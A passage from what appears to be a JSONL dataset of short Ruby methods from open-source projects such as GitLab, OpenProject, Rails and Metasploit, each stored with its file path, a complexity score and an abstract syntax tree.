ren\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.notice_successful_update\"]}]}]}]}]}]}]}","id":"f24e614b-382b-494b-baed-9e6105e4bcdb"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog_field_check_box.rb","start_line":4,"raw_source":"def checked?\n value == \"t\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"checked?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"==\",{\"type\":\"str\",\"children\":[\"t\"]}]}]}","id":"43d0132e-2c42-4a9d-8474-1244f6883645"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/time_partition.rb","start_line":58,"raw_source":"def ==(other)\n table == other.table && partition_name == other.partition_name && from == other.from && to == other.to\n end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partition_name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"partition_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"from\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"to\"]}]}]}]}","id":"108f4c28-7496-4ff9-bc69-402b0c205b0c"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-topic-voting/spec/system/page_objects/pages/topic.rb","start_line":36,"raw_source":"def click_vote_popup_activity\n find(\".voting-popup-menu a\").click\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_vote_popup_activity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".voting-popup-menu a\"]}]},\"click\"]}]}","id":"7a984756-4206-4051-8d51-9234a95aa123"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/acts_as_ar_scope_spec.rb","start_line":14,"raw_source":"def self.aar_scope\n Vm.where(:id => vm_ids)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"aar_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vm\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"vm_ids\"]}]}]}]}]}","id":"b493be31-3792-46ae-b075-174567e92e04"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package_types/patterns/token_property_mapper.rb","start_line":127,"raw_source":"def work_package_cfs_for(type)\n all_work_package_cfs.merge(type.custom_fields)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_cfs_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_work_package_cfs\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"custom_fields\"]}]}]}","id":"80000b23-4b63-4786-898d-f7da98bfdb2a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/decomposition/migrate.rb","start_line":60,"raw_source":"def diskspace_free\n Sys::Filesystem.stat(\n File.expand_path(\"#{@backup_location}/../\")\n ).bytes_free\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"diskspace_free\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sys\"]},\"Filesystem\"]},\"stat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@backup_location\"]}]},{\"type\":\"str\",\"children\":[\"/../\"]}]}]}]},\"bytes_free\"]}]}","id":"9a983fc5-bfd1-4c68-8e95-902d1701f1dd"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250519112444_set_zoekt_lost_node_threshold.rb","start_line":21,"raw_source":"def down\n execute(<<~SQL)\n UPDATE application_settings\n SET zoekt_settings = jsonb_set(\n zoekt_settings,\n '{zoekt_auto_delete_lost_nodes}',\n 'false'\n )\n WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\n AND zoekt_settings->>'zoekt_lost_node_threshold' = '0'\n SQL\n\n execute(<<~SQL)\n UPDATE application_settings\n SET zoekt_settings = jsonb_set(\n zoekt_settings,\n '{zoekt_auto_delete_lost_nodes}',\n 'true'\n )\n WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\n AND zoekt_settings->>'zoekt_lost_node_threshold' != '0'\n SQL\n\n execute(<<~SQL)\n UPDATE application_settings\n SET zoekt_settings = zoekt_settings - 'zoekt_lost_node_threshold'\n WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\n SQL\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE application_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET zoekt_settings = jsonb_set(\\n\"]},{\"type\":\"str\",\"children\":[\" zoekt_settings,\\n\"]},{\"type\":\"str\",\"children\":[\" '{zoekt_auto_delete_lost_nodes}',\\n\"]},{\"type\":\"str\",\"children\":[\" 'false'\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\\n\"]},{\"type\":\"str\",\"children\":[\"AND zoekt_settings->>'zoekt_lost_node_threshold' = '0'\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE application_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET zoekt_settings = jsonb_set(\\n\"]},{\"type\":\"str\",\"children\":[\" zoekt_settings,\\n\"]},{\"type\":\"str\",\"children\":[\" '{zoekt_auto_delete_lost_nodes}',\\n\"]},{\"type\":\"str\",\"children\":[\" 'true'\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\\n\"]},{\"type\":\"str\",\"children\":[\"AND zoekt_settings->>'zoekt_lost_node_threshold' != '0'\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE application_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET zoekt_settings = zoekt_settings - 'zoekt_lost_node_threshold'\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE zoekt_settings ? 'zoekt_lost_node_threshold'\\n\"]}]}]}]}]}","id":"dc67b8ea-d0e0-4b6b-bc3c-a4cf9f2aaf91"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/endpoints/sql_index.rb","start_line":55,"raw_source":"def calculate_resulting_params(query, provided_params)\n super.tap do |params|\n params[:select] = nested_from_csv(provided_params[\"select\"]) || { \"*\" => {}, \"elements\" => { \"*\" => {} } }\n end\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_resulting_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"provided_params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"select\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nested_from_csv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provided_params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"select\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"elements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"f900a09b-6e68-446c-9e64-0ad20799443e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/parsers/coverage/documents/jacoco_document.rb","start_line":46,"raw_source":"def parse_line(node_attrs)\n matched_path = matched_full_path\n return unless matched_path\n\n coverage_data = { node_attrs.fetch('nr').to_i => node_attrs.fetch('ci').to_i }\n coverage_report.add_file(matched_path, coverage_data)\n rescue KeyError\n raise Jacoco::InvalidLineInformationError, \"Line information had invalid attributes\"\n end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node_attrs\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matched_path\",{\"type\":\"send\",\"children\":[null,\"matched_full_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matched_path\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"coverage_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_attrs\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"nr\"]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_attrs\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"ci\"]}]},\"to_i\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"coverage_report\"]},\"add_file\",{\"type\":\"lvar\",\"children\":[\"matched_path\"]},{\"type\":\"lvar\",\"children\":[\"coverage_data\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KeyError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jacoco\"]},\"InvalidLineInformationError\"]},{\"type\":\"str\",\"children\":[\"Line information had invalid attributes\"]}]}]},null]}]}","id":"4d9e317a-c333-40d4-a9dc-0f8969400729"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/services/authorization/user_roles_query.rb","start_line":35,"raw_source":"def self.query(*)\n arel = transformed_query(*)\n\n model.where(roles_table[:id].in(arel))\n end","complexity_score":8.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"query\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arel\",{\"type\":\"send\",\"children\":[null,\"transformed_query\",{\"type\":\"forwarded_restarg\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"roles_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"in\",{\"type\":\"lvar\",\"children\":[\"arel\"]}]}]}]}]}","id":"45447cba-fbe3-4b8b-b78b-cdc740192c72"}
+{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/mail_layout_test.rb","start_line":78,"raw_source":"def test_should_pickup_layout_given_to_render\n mail = AutoLayoutMailer.spam\n assert_equal \"Spammer layout Hello, Earth\", mail.body.to_s.strip\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_pickup_layout_given_to_render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mail\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AutoLayoutMailer\"]},\"spam\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Spammer layout Hello, Earth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},\"body\"]},\"to_s\"]},\"strip\"]}]}]}]}","id":"89950e6f-649c-4374-985f-582abba80669"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb","start_line":45,"raw_source":"def Power.reboot(force = 0, reason = 0)\n self._exitwindows(EWX_REBOOT, reason, force)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Power\"]},\"reboot\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"force\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_exitwindows\",{\"type\":\"const\",\"children\":[null,\"EWX_REBOOT\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]}]}","id":"76a35ecb-c04d-453a-ac14-9aa439810177"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slug/environment.rb","start_line":40,"raw_source":"def shorten_and_add_suffix(slug)\n slug = slug[0..16]\n slug << '-' unless slug.ends_with?('-')\n slug << suffix\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"shorten_and_add_suffix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slug\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[16]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\"-\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"<<\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"suffix\"]}]}]}]}","id":"5835a434-eab2-4633-a37f-2d4a584eeabc"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/webmin_file_manager_rce.rb","start_line":72,"raw_source":"def login\n webmin_login(datastore['USERNAME'], datastore['PASSWORD'])\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"webmin_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}","id":"45094caa-3efe-4253-87d5-57be2840e0f2"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/enumerable_test.rb","start_line":256,"raw_source":"def test_index_with\n payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])\n\n assert_equal({ Payment.new(5) => 5, Payment.new(15) => 15, Payment.new(10) => 10 }, payments.index_with(&:price))\n\n assert_equal({ title: nil, body: nil }, %i( title body ).index_with(nil))\n assert_equal({ title: [], body: [] }, %i( title body ).index_with([]))\n assert_equal({ title: {}, body: {} }, %i( title body ).index_with({}))\n\n assert_equal Enumerator, payments.index_with.class\n assert_nil payments.index_with.size\n assert_equal 42, (1..42).index_with.size\n assert_equal({ Payment.new(5) => 5, Payment.new(15) => 15, Payment.new(10) => 10 }, payments.index_with.each(&:price))\n end","complexity_score":44.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_index_with\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payments\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GenericEnumerable\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payments\"]},\"index_with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"body\"]}]},\"index_with\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"body\"]}]},\"index_with\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"body\"]}]},\"index_with\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"Enumerator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payments\"]},\"index_with\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payments\"]},\"index_with\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[42]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[42]}]}]},\"index_with\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payment\"]},\"new\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payments\"]},\"index_with\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"price\"]}]}]}]}]}]}","id":"60187e8d-0d4e-46b6-9e03-315e9260f3ec"}
+{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/wishlists_controller.rb","start_line":52,"raw_source":"def default\n spree_authorize! :create, Spree::Wishlist\n\n @default_wishlist = spree_current_user.default_wishlist_for_store(current_store)\n\n render_serialized_payload { serialize_resource(@default_wishlist) }\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_authorize!\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Wishlist\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_wishlist\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_current_user\"]},\"default_wishlist_for_store\",{\"type\":\"send\",\"children\":[null,\"current_store\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_serialized_payload\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"serialize_resource\",{\"type\":\"ivar\",\"children\":[\"@default_wishlist\"]}]}]}]}]}","id":"dabc8405-515b-4917-ab07-1cbde8fe822e"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/macros_controller.rb","start_line":13,"raw_source":"def create\n @macro = Current.account.macros.new(macros_with_user.merge(created_by_id: current_user.id))\n @macro.set_visibility(current_user, permitted_params)\n @macro.actions = params[:actions]\n\n render json: { error: @macro.errors.messages }, status: :unprocessable_entity and return unless @macro.valid?\n\n @macro.save!\n process_attachments\n @macro\n end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@macro\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"macros\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"macros_with_user\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_by_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"set_visibility\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"permitted_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"actions=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"actions\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"valid?\"]},null,{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"errors\"]},\"messages\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"process_attachments\"]},{\"type\":\"ivar\",\"children\":[\"@macro\"]}]}]}","id":"b6f194fd-f423-49c6-8973-e69328830df7"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/container_registry/protection/check_rule_existence_service.rb","start_line":44,"raw_source":"def check_rule_exists_for_user\n return false if current_user.can_admin_all_resources?\n\n project.container_registry_protection_rules.for_action_exists?(\n action: params[:action],\n access_level: project.team.max_member_access(current_user.id),\n repository_path: params[:repository_path]\n )\n end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_rule_exists_for_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can_admin_all_resources?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"container_registry_protection_rules\"]},\"for_action_exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"team\"]},\"max_member_access\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repository_path\"]}]}]}]}]}]}]}","id":"449b5475-9553-49f9-9270-9e5f5b1cc31a"}
